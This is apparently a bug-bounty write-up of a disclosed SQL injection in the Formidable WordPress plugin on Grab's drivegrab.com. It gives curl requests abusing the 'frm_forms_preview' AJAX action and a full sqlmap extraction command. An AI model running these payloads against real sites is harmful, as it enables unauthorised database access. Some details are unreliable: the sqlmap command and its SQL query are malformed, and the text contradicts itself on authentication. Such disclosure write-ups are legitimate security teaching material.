Grab taxi SQL Injection
- Title: www.drivegrab.com SQL injection.
- Reported by: Jouko.
- Bounty rewarded: $4,500.
- Web application URL: http://www.grab.com.
- Description: Grab taxi is another ride-hailing service that is similar to Uber and it is very commonly used in the Asian region. Grab provides similar services to those of Uber but with extra benefits. This SQL vulnerability was identified by Jouku in the domain, https://www.grab.com/ph/driver/car/.
The website drivegrab.com is a WordPress-based website with mainly static content and basically, the vulnerability was found in a form crafting plugin called Formidable; the plugin used some AJAX functions to implement forms. Jouko identified that the AJAX functions that were intended for administrators were accessible to an unauthenticated user. In particular, the function was preview that was used preview forms once they were crafted, but it also allowed HTML functions and WordPress shortcodes, which later were converted into an SQL vulnerability due to one of the WordPress shortcodes.
Basically the vulnerability was that any authenticated user could call a form entry from within the database using the preview function, given that the database structure and IDs were known.
So, to test this, initially a curl request had to be crafted as follows:
curl -s -i 'https://www.drivegrab.com/wp-admin/admin-ajax.php' --data 'action=frm_forms_preview'
This request had a preset Contact us form in the response since the form ID was not defined. Next, Jouku tried to embed some HTML code to be shown after the form to verify if the injection of arbitrary content was possible:
curl -s -i 'https://www.drivegrab.com/wp-admin/admin-ajax.php' --data 'action=frm_forms_preview&after_html=hello world'
As a response to this request, a hello world was displayed in the response of the request after the Contact Us form. There are a number of shortcodes that the Formidable plugin accepts, one of which is display-frm-data to output the data entered by users in the forms if the ID of the form is known:
curl -s -i 'https://www.drivegrab.com/wp-admin/admin-ajax.php' --data 'action=frm_forms_preview&after_html=XXX[display-frm-data id=835]YYY'
From the previous URL, Jouko identified that, given the form and the correct prefixes and suffixes, the form entry could be harvested from the database. Not only that, he also identified that the plugin's parameters also accepted order_by and order queries for sorting the output:
curl -s -i 'https://www.drivegrab.com/wp-admin/admin-ajax.php' --data 'action=frm_forms_preview&after_html=XXX[display-frm-data id=835 order_by=id limit=1 order=zzz]YYY'
This was the final point of the exploit and then it was just a matter of crafting the right sqlmap payload to harvest the database; basically, the SQL code in the input into the Order_by clause of a query, which harvests the list of form IDs. So the final sqlmap payload, along with the eval parameter and others, looked like the following:
./sqlmap.py -u 'https://www.drivegrab.com/wp-admin/admin-ajax.php' --data 'action=frm_forms_preview&before_html=XXX[display-frm-data id=835 order_by=id limit=1 order="%2a( true=true )"]XXX' --param-del ' ' -p true --dbmsmysql --technique B --string persondetailstable --eval 'true=true.replace(",",",-it.id%2b");order_by="id,"*true.count(",")+"id"' --test-filter DUAL --tamper commalesslimit -D --sql-query "SELECT FROM WHERE id=2"
So using the previous payload and with the help of sqlmap, Jouku was able to prove SQL injection in the drivegrab.com website.